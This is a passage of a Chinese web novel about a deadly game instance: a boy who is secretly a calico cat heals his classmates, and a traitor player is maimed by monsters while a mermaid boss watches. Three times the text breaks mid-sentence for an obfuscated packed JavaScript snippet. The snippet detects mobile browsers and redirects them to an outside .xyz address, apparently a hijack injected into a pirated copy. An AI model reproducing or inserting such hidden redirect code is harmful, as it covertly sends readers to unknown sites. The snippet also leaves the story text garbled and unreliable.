洛书亦被水母的触手缠住了，宋斐想搭把手帮他，但怀中的少年微微动了动，鸦羽般的眼睫翕动，缓缓睁开了眼睛。 宋斐看到了少年的瞳孔，是琥珀色的。 就像……某只小猫。 宋斐的心里又像被羽毛尖尖挠了一下。 “喵呜……” 小猫……啊不，少年一睁眼，就发出了一声低低的猫叫。 他似乎还没有完全清醒，一双琥珀色的眼睛迷迷瞪瞪的，仿佛蒙了一层雾气。 纤白的手指无意识地攀上了宋斐的脖子，宋斐动作一顿，身体霎时僵硬起来，不敢轻举妄动。 下一刻，少年在他下巴上，轻轻地……蹭了一下。 旁边的洛书亦跟纪铭都在被怪物殴打，但宋斐顾不上拯救他们了。 少年的行为实在是缺乏边界感，宋斐平时是很厌恶跟人有太过亲密的身体接触的，可眼下，被少年蹭过的那块地方酥酥麻麻，就像被小猫蹭了一样。 “咪？” 少年蹭完宋斐，挂在男人身上，歪着头看旁边被水母卷住的洛书亦，眼神终于渐渐清明起来。 他从宋斐身上跳下来，不知道是控制不好身体还是怎么回事，两条腿软得像面条，脚尖一碰到地，整个人就歪倒下去。 宋斐长臂一伸，将他拦腰捞住。 “咪！=口=” 少年满脸错愕，软绵绵地倒在宋斐怀里，宋斐的一只大手揽着他的腰，他就那么呆呆的懵懵的靠在男人的胸肌上。 “咪？？？” 似乎终于后知后觉地意识到了什么，少年默默抬起了自己的手，看了一眼。 “……！！！” 那张小脸，还没有宋斐的巴掌大，腰也软得过分，很难想象一名男性会有这么软的腰。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15540745|170967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少年虽然瘦，腰也细，但大约是骨架小的原因，宋斐感觉自己手掌贴着的尽是软肉。 ……猫骨头啊。 那头洛书亦跟纪铭在被怪物围攻，少年只是略微懵了几秒，就又挣扎着要起来，嘴里说着软糯糯又有些语不成句的话：“我要……救他们……” “你站不住。” “我……我阔以……” 少年说着，歪歪倒倒地重新站起来，一双白皙纤细纤尘不染的脚就那么赤裸地站在地上的污水中，视觉效果触目惊心。 少年一步步向前走去。 “大家……请你们，停下来——” 少年的声音很软很轻，也许是发不出太大的音量，他整个人都呈现出一种人畜无害的绵软姿态，根本不像是会出现在这种险恶的SSS级副本中的人。 最初怪物们没有发现少年的存在，随着少年锲而不舍地一步步向怪物的包围圈中心走去，一声声重复着让祂们停下的话，躁动着的、富有攻击性的怪物群终于停下了。 怪物们意识到了少年的存在，陷入了短暂的静默，随后又躁动欢腾。 几个玩家又听到了这些怪物叽叽咕咕的心声。 【太好了太好了！主人宝宝回来噜！】 【一会儿不见，主人宝宝看起来更可爱了捏】 【主人，哦，窝命中注定的主人~~~】 【主人宝宝怎么变成人类nya？】 【啊呸呸呸，主人才不是人类，主人只是善于伪装！】 【叽叽叽叽！咕咕咕咕！主人宝宝……嘿嘿……主人宝宝……】 【咕叽咕叽，要跟主人贴贴……】 怪物们精神振奋，全然抛弃了洛书亦跟纪铭，高兴地围拢到了少年身边。 纪铭&洛书亦：“……” 那只水母怪的触手大约有麻痹类的毒素，洛书亦被毒得瘫坐在污水里站不起来，纪铭则被一只乌贼喷得满脸墨汁。 两人都极其狼狈。 但他们都顾不上自己的狼狈了，洛书亦跟纪铭的目光紧紧黏在那个只裹了一件对于他的身材来说过于庞大的白衬衫的少年身上，不约而同地讷讷出声：“花……花黎……？” “花黎…………你怎么会在这里……？” 他乡遇故知，永远是人生三大喜事之一。 更何况，这个“他乡”，还是如此险恶的“他乡”。 在这么个凶险的副本里，在刚被怪物毒得神经麻痹/喷得满脸墨汁后，陡然遇见曾经帮助过他们良多的同窗，两人都快以为自己在做梦了。 洛书亦只高兴了一会儿，就又冷静下来，硬撑着麻痹的身体：“花黎，你真的是花黎……？这里……很危险——” 就算遇到曾经的同学再开心，如果可能的话，他还是希望陷入这个SSS级副本的险境的人越少越好。 照理说，能正常进入这个副本的玩家都必须是一次性组队进来的，花黎不是，虽然不知道他是怎么进到这个副本里来的，但多半是误入的，那样的话，他还有逃命的机会。 “快逃吧，快离开这个副本，花黎……” 人鱼，或许很快就要来了。到那个时候，也许他们真正的死期就要到了。 花黎却歪了歪头，他讲话很慢，就像许久没有说过话的人一样：“没关系的，咪不会有危险！” 洛书亦：“？”咪？ 一抹白光忽然在洛书亦额前亮起，他怔怔看着走到他面前的少年，花黎正将手悬放在他额前，他的手掌发出淡淡的白光，少年闭着双眼，而洛书亦很快就感觉到自己被温柔如山泉一般的暖流包围。 身上那股剧烈的麻痹感消失了。 这种感觉……跟当时那只三花猫给他治疗时一模一样…… 22. 第二十二章 少年的衬衫无风自动，在淡淡的白光中显露出难以言明的圣洁感额头接触的指尖冰凉。 洛书亦有片刻的失神。 围绕着他们的怪物仿佛顷刻之间变成了小白兔，不但不再近身，而且……洛书亦总觉得他从刚才那只邪恶的水母的豆豆眼里看出了一丝嘤嘤嘤。 水母：QwQ~ 洛书亦：“……” 花黎治疗完了洛书亦，又走向纪铭，如法炮制，纪铭身上的伤也迅速地恢复了。 “花黎……你到底…………” 老同学见面，却是在如此的混乱之中，即便想叙叙旧，现在也显然不是时候。 让洛书亦跟纪铭惊讶万分的是，花黎那双白生生的脚无论走到哪里，那些怪物都自觉让开一条通路，仿佛在为他开道。 结合他们听见的小怪物内心OS，很快两人就反应了过来。 ——莫非，花黎就是这些怪物口中的……呃……“主人宝宝”？ 但他们还没来得及仔细询问花黎，纤细的少年在给纪铭治疗完毕后，将手抬起，下一刻，他就直直往后坠了下去。 怪物们：！！！！ 洛书亦&纪铭：！！！ 宋斐：……！ 宋斐离得有些远，洛书亦跟纪铭反射神经没那么强，最后是那些长相吓人的小怪物，以迅雷不及掩耳之势簇拥到一起，形成一块缓冲垫，接住了花黎。 少年倒地后，三人眼睁睁看着他的身体不断缩小、缩小、缩小…… 几秒后，少年的身影消失不见，躺在怪物们头顶和触手上的，变成了一只圆滚滚的、四脚朝天的三花猫。 洛书亦跟纪铭瞪着眼睛吱哇乱叫，他们怎么也没想到，这只可爱的小三花猫居然是他们的老同学？！！ 他们的老同学=神秘三花猫=疑似怪物们的主人？ 哦，我的上帝啊。 他们不是在做梦吧…… 洛书亦跟纪铭张着嘴巴许久没有回过味来，两人都呆在原地，石化了一般，动也不动了。 在场唯有宋斐并未露出惊讶之色。 宋斐注意到队友跟小猫都安全无虞后，就一直在安娜家的房子里来回走动，并且每看到一件看似价值较高的东西，都将之收进自己的包裹。 “宋斐哥，你在做什么？”纪铭稍微安定下来后，捂着仍在怦怦直跳的心脏，问宋斐。 “做实验。” “什么实验？” “你们，是不是都不记得这个副本的任务目标了。”宋斐拿起了一把镶嵌了蛋白石的餐刀，放进包裹里，扭头面无表情道。 “……”确实忘了。 这个副本太过凶险，又有程凡这个叛徒，加之人鱼的所谓“祭品”之说，让他们一直分身乏术，根本无暇顾及其他。 再加上又有宋斐这个看上去十分靠谱的引路明灯，让他们自始至终跟着宋斐的决策走，完全忘了系统引导。 现在宋斐说起来，他们才想起，这个副本的通关任务是要积攒价值2亿金币的财宝来着…… 洛书亦喃喃道：“刚光想着活命了，哪敢想通关呢……而且……” 他看了一眼在楼上楼下地搜刮值钱东西的宋斐，摸了摸鼻子，“而且宋斐哥，2亿诶……现在才开始，是不是有点……” 这个deadline它还有赶的必要么…… 宋斐说：“我不是要完成任务。” “那是……？” “之前说过，这个怪物镇上所有的东西都是提前设计好的、死的，就像根据房屋就能推测出人口数量，这个镇上的所有事物都遵循某种规律。 “所以没有必要为了达成副本任务从一开始就费劲一家一家搜刮宝物，只要选其中一家作为样本，就能大致推算出这个镇上的财富总量。” “……这就是从一个点来推算整个镇的GDP么。”纪铭道。 “嗯。”宋斐还在搜集物品，往楼上走了一半，脚步顿住，回头，“地上有水，凉。” “……啊？”那两人都没弄明白宋斐哥此话有何深意。 直到宋斐看了眼地上的小猫。 小三花猫又睡着了，打着小小的酣，其实他的身体一点都没有碰到地上。 小猫咪被怪物们托住，此刻那些章鱼水母鱿鱼等等把紧紧挤在一起，像水草一样上上下下，形成流动的波浪，小三花猫就像坐在海浪上的小船里，摇啊摇，摇啊摇~ 我勒个全怪物手动摇摇车。 宋斐道：“看着点，那些毕竟是智力不高的怪物，别让他们把他晃到地上去了。” “不……不会的！”洛书亦连忙道，“宋斐哥你可能不清楚，这只小猫不是普通的NPC，他是我们以前的同学花黎，从以前就很关照我们！现在他又在这个副本里帮了我们这么多次，我们肯定不会让他遇到危险的！” 宋斐意味深长地“嗯”了一声。 把安娜全家的值钱东西搜罗了个遍，最后宋斐看了眼自己的包裹，说：“一共只有829金币。” “这……” “安娜家是镇上规模最大的人家，她家中的财产肯定是全镇最多的，按照这个数量推算，远远够不到任务要求的2亿。” “也就是说……” “也就是说。”宋斐合上包裹面板，大步下了楼，将还在怪物的身上摇啊摇的小猫抱了下来，收获了水母怪一个不满的麻痹触手。 宋斐面无表情地摸了摸自己脖子上迅速麻痹的那块皮肤，往上面贴了治疗膏药。 然后就无视了怪物们聒噪的小情绪，继续解释道：“——也就是说，靠搜刮这个童话镇上的财富来完成2亿的目标，是根本没有任何实现的可能的。 “这件事我之前住在安娜家就观察到了，现在只是再重新确认一下。” “所以你之前才不急着完成任务？不过……那这个通关目标……岂不就是不可能完成的任务……？”洛书亦讷讷道。 “不尽然。”宋斐一只手抱着小猫，手上小猫的身体毛茸茸热乎乎，散发着甜甜的奶香气，与这个电闪雷鸣如同世界末日一般的SSS级副本格格不入。 他看向窗外漆黑的天幕，淡道，“童话镇副本，不只是这个镇子而已。” “……啊？”那两人都没理解他的意思。 “按照地图上画的，这个镇子所在的半岛，还有这座岛附近的海域，都是童话镇副本的范围。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15540746|170967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洛书亦觉得自己似乎明白了宋斐的意思：“你是说，那个财宝……可能在海上？” “或者……海底。”宋斐垂下眼睑。 . 噗叽……噗叽…………噗叽…… 人鱼的大尾巴在地上迤逦前行的声音听着让人头皮发麻，前面的程凡脚步半点不敢听。 他总有一种如芒在背的感觉，大约是这条人鱼BOSS实在太过强大，给人的压迫感太强了。 仿佛只要他稍稍顿住脚步，就会被人鱼尖锐的指爪撕成碎片。 程凡再次咬着牙，加快了脚步。 这点事情不算什么，他几乎已经能看见胜利的彼岸了，届时他就是全服首通SSS级副本的玩家！ 那些以前瞧不起他的人，他那对垃圾父母，他所谓“更有出息”的兄弟姐妹，就等着看吧——在那个世界他程凡可能混得不算多好，但在这个世界，他就是最牛逼的！ 安娜家红房子的尖顶渐渐出现在了视野范围内。 程凡几乎是用奔向胜利的速度，加快往前冲。 等跑到了门口，他才扶着膝盖，气喘吁吁地：“到……到了……呼……” 人鱼缓缓游弋向前。 【尸体……在哪里？】 “就……就在这个房子里！地窖里面，还有楼上！你……你不信可以自己去看——！” 人鱼却没有动：【没有尸体。】 程凡：“？” 【这个房子里……一具尸体……都没有……】 【你在，欺骗我……】 “不可能！！” 激动之下，程凡叫出了破音，“就……就算之前那批他妈变成怪物了！但它们也是我亲手杀的！也……也变成过尸体啊！而且……而且还有后面那二十来个——” 【一个都没有。】 人鱼还是重复这句话。 程凡要疯了，他索性二话不说冲进房子里，男人从头到脚都被暴雨淋得透湿，像从地狱爬出来的小鬼，但他没想到，安娜的房子里更像属于妖魔鬼怪的地狱。 地上、桌上、甚至墙上，密密麻麻挂着的都是各种各样的怪物。 程凡惊呆了。 最可怕的是，那些怪物发现程凡进了房子，躁动起来，一齐向他纷涌而至。 “啊————！！！！” 程凡还没回过神来，他的右腿就被不知道什么怪物给缠住，扭成了麻花一般的诡异形状，他甚至能清晰听到自己腿骨断裂的声音。 “这到底……到底是…………怎么回事？！啊啊啊啊啊——！” 疼！ 怎么会这么疼！ 钻心的疼痛让程凡痛嚎失声，他忍不住鬼哭狼嚎地求助人鱼，“人鱼老大！人鱼老大——！快救救我，救救我！我……我辛辛苦苦给你杀了一百个人……” 熟悉的鱼尾迤逦的声音，是那条银色的人鱼拖着大尾巴游进了屋内。 屋内地上全是黑色的午睡，那形容可怖的人鱼半趴在污水之中，模样说不出的惊悚。 人鱼没有回应程凡的呼救。 祂眼睁睁看着程凡的另一条腿也被“噗叽”一声拧成了麻花。 血花四溅。 23. 第二十三章 程凡觉得自己清晰听到了自己腿骨断裂、皮肉被碾成泥的声音。 身体仿佛不是自己的，他就那么在意识完全清醒的情况下，感受到自己的下半身被拧成了麻花。 那一刻，连疼痛都几乎感受不到。 人鱼在距离程凡几米远的距离冷眼旁观，祂很显然听见了程凡的呼救，却并没有要出手帮助的意思。 “你……求求你……求求你…………” 程凡再站立不住，他的上半身姑且还算完好，下半身却已经惨不忍睹，只能趴在污水之中，如同一条挣扎扭动的水蛭。 人鱼向前游了几米。 程凡的眼睛因为人鱼的这点动作亮了亮，向祂伸出手。 人鱼却只是歪了歪头，似乎对于程凡的身体竟如此脆弱而感到惊奇。 随后银色的鱼尾就摇摆着，向前游去，将程凡丢在了污水和怪物堆中。 程凡仍挣扎着，他现在的状态离死亡还有相当的距离——这恰恰是最痛苦的，只能空受这么，却连想死都死不掉。 他嘶哑着嗓子拼命呼救：“我……我为您杀了很多人……” 人鱼却只留下一句冷酷的：【你没有达到我的要求。】 …… 安娜家地窖内的怪物刚刚都上了一楼大厅，地窖空了出来，十分钟前宋斐就带着洛书亦、纪铭还有小三花猫一起移至了地窖内，以躲避可能出现的人鱼。 维京时代的木头建筑，谈不上什么隔音效果可言。 洛书亦跟纪铭蹲在地窖里噤若寒蝉，楼上的声音，从程凡跟人鱼进门，到程凡挣扎呼叫，甚至人鱼拖着尾巴在木地板上游弋的声音，都听得一丝不漏。 光听声音，就能还原出楼上的场景该是多么血淋淋。 简直像惊悚片中才会出现的场景…… 两个高中生都被吓得小脸煞白，下意识地看向花黎——尽管花黎现在只是一只小小的三花猫，现在却已经超越了宋斐，成了他们的最大安全感来源。 花黎仍旧被宋斐抱在怀里。 只见宋斐听着楼上的恐怖片音效，居然丝毫不慌，老神在在地坐在封了顶的大缸上面。 小猫这会儿醒了，迷迷糊糊躺在宋斐怀里，宋斐不知道哪里弄来一个毛线球，另一只手拿着，在小猫头上晃悠。 伸爪爪。 扒住球球。 捞下来。 啃啃啃啃啃…… 宋斐很坏地把毛线球球又提溜了回去。 小猫这下彻底清醒了，迅速出爪，把球球抱回自己怀里。 啃啃啃啃啃啃…… 宋斐低着头看小猫咪把毛线球啃得全是口水，嘴角再次隐秘地向上翘起。 而楼上的地板哐哐哐直响，头顶上时不时簌簌落点墙灰下来。 还能听见程凡持续的鬼哭狼嚎。 宋斐自逗猫，恍若未觉。 洛书亦&纪铭：“……”该说宋斐哥是心理素质过度良好还是精神状态有点……不似常人呢…… “哎……等等。”纪铭忽然想到了什么。 “怎么？”洛书亦。 “我记得三花猫一般都是母猫吧，我之前还以为这只小三花也是母猫呢。既然它是花黎的话，那岂不是公猫？”纪铭嘟囔道。 “……”洛书亦忍不住无语地踹了他一脚，“这是什么重要到需要现在讨论的事吗！=口=” …… 宋斐逗了会儿猫，想起了什么，忽然抬起手，在虚空中一抓。 本来握在宋斐手上的毛线球精准地掉进了三花猫雪白的肚肚毛里，因为球球太小太轻，小猫仰躺着在长长的肚毛里抓了许久都没有抓到。 宋斐一边在虚空中收整着什么，一边随手把球放进小猫两只前爪中间。 花黎：^w^ 啃啃啃啃啃啃~ . 游戏大厅内，从刚才开始一直显示【NOSIGNAL】的直播大屏发出滋啦滋啦的声音，出现了如同古董电视机信号不稳时的雪花屏。 广场上的玩家因为忽然断掉的直播一片嘈杂，尤其是在赌坊下了重注的，不住骂骂咧咧。 直到有人忽然惊叫道：“亮了亮了！屏幕又亮了！” 所有人向着广场中央的大屏看过去，只见那大屏在轻微的信号不稳后，终于重新恢复了高清直播画面。 玩家们不知道，这是覆盖安娜家的防窥罩被解除了，只当刚才直播的中断是一场乌龙，立马又聚精会神看起直播来。 然后，嘈杂的广场霎时间静默，落针可闻。 因为有人切到了程凡视角。 程凡视角的镜头正对着程凡所在的安娜家一楼大厅，大厅内遍地污水和怪物，而程凡像一滩烂泥一样，倒在污水里抽搐。 “……” 有人默默放大了镜头，然后几乎所有广场上的玩家都倒抽了一口凉气！ 程凡的两条腿像两根软面条一样，被拧成麻花状，整个下半身惨不忍睹，身下的污水已被染上了血色。 “这……这到底是……”怎么回事？！ 在直播中断的时候，到底发生了森么？！ 有人干笑了几声：“难道是因为画面太过血腥暴力所以刚才信号才被屏蔽了？” 很无聊的冷笑话，无人应声。 之前大家看到了程凡去找人鱼，又领着人鱼往回走，但进入安娜家后发生了什么，就不得而知了。 有人猜测是人鱼下黑手，也有人猜是这些怪物干的，但不管原因是什么，所有人都意识到了同一件事——程凡单通？如果说刚刚这还是大烫门，现在已经几乎可以确定没有可能了。 那些用全副身家毒了程凡单通的玩家痛苦嚎叫起来。 …… 李沛南狠狠一拳捶在墙上，骂道：“废物！！！” 他的脸已经气成了猪肝色，看中的潜力股一下子变成了完完全全的垃圾，他简直恨不得冲进屏幕里掐死程凡这个傻逼！ 好在他旁边的人还算有点理智，提醒李沛南：“先别激动，看看另外那几个人什么情况，说不定还有什么转机呢？” 李沛南勉强“嗯”了一声，把他面前的小屏幕切到了宋斐的视角。 ……入眼先是一只躺得四仰八叉的猫。 李沛南：“……” 能看出宋斐等人躲在了安娜家的地窖里，比起程凡，情况自然是好些，至少这三个人都没缺胳膊没少腿儿。 但他能听见楼上的人鱼拖着尾巴游走的声音。 那个声音在逐渐向着地窖接近。 “行吧，全灭。根本不用看了。” 李沛南的同伴摇了摇头，拍拍他的肩膀，替他哀悼他逝去的游戏币，“想开点，游戏币是身外之物，留得青山在，不怕没柴烧。” “……”李沛南一肚子火气，但也不得不承认他说的没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15540747|170967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 错。 况且这些人能不能通关于他来说也无关紧要，他所有的钱都拿去赌程凡单通了。 李沛南一想到他的钱就气得眼前发黑，当即就要关掉面前的直播屏幕。 手指刚要按上右上角的X，忽然听到一声微弱的“花黎……” 李沛南：“？？？！” 关闭直播的手顿住了，他猛地看向直播屏幕中叫出这个名字的人——是那个最菜的洛书亦。 他为什么对着宋斐喊花黎？ 不…… 他叫的，是宋斐怀里的那只……三花猫？ 李沛南的瞳孔陡然瞪大了。 . 地窖的门“咚咚”作响，有人在外敲门。 是那条人鱼。 洛书亦跟纪铭大气不敢喘，都有种自己死期将至的恐怖预感，两人僵硬地缩在角落。 小三花猫躺在宋斐怀里玩了一会儿小球，这会儿已经完全清醒了，他轻盈地从宋斐怀里跳下来，duangduangduang地就往地窖入口处跑。 “等……危险……”洛书亦连忙叫道。 “喵咪咪！”放心吧！塞壬是一条好鱼！ 花黎在地板上蹦来蹦去，一边咪咪喵喵地说话，一边努力动用肢体语言，旁人看起来就是一只小三花在地上仰面朝天地转圈圈。 信仰之力消耗得太快了，看来变回原来的样子很难维持多久，大部分时候他还是得以小猫的状态示人。 “喵嗷嗷嗷————”塞壬~~是好~~鱼~~~~~好鱼~~~~ 洛书亦跟纪铭还没能理解，那边地窖的门已经被撞开了。 刚才听着像隔了一层罩子的人鱼尾巴拖地声，此刻清晰回荡在耳边，顺着楼梯一路向下。 地窖内的空气温度将至冰点，洛书亦跟纪铭吓得大脑一片空白。 当阴暗的楼道口露出人鱼那蜷曲干枯的灰色长发时，当真是惊悚片照进现实，洛书亦强行控制住自己想要尖叫的冲动。 人鱼缓慢地抬头，凌乱的长发中露出两只灰白没有瞳孔的眼睛。 然后，向着他们几人的方向，游弋而来。 那看上去并不适合陆地的鱼尾，愣是如同蟒蛇一般，在木地板上如履平地地前进。 “我……我…………我……” 胆子最小的洛书亦整个人都在颤抖，人鱼不断地逼近，他想说“我们不好吃”，但话到嘴边，僵硬得只能不断重复“我”这个字。 人鱼还在靠近。 洛书亦跟纪铭几乎同时闭上了眼睛，等待死亡的降临。 ……死亡没有降临。 两人等了一会儿，耳边鱼尾在地上拖行的声音消失了，取而代之是奇怪的窸窸窣窣的声音，也不知道是在做什么。 纪铭斗胆把左眼睁开了一条缝。 “……” 只见那条可以无缝进组R21恐怖片的人鱼，那双尖锐灰白的指爪正小心翼翼地捧着一只小白团子。 人鱼的嘴里嘀嘀咕咕念着听不清的话，只能听到尖牙摩擦的声音，他们刚才听到的窸窸窣窣声就来自这里。 人鱼锐利的爪子把小白团子举起——又放下——又举起—— 小白团子翘起了一只有着三种花色的尾巴，在半空中荡啊，荡啊，荡啊…… 这是在…………举高高……？ 洛书亦跟纪铭感觉自己的脑子不够用了。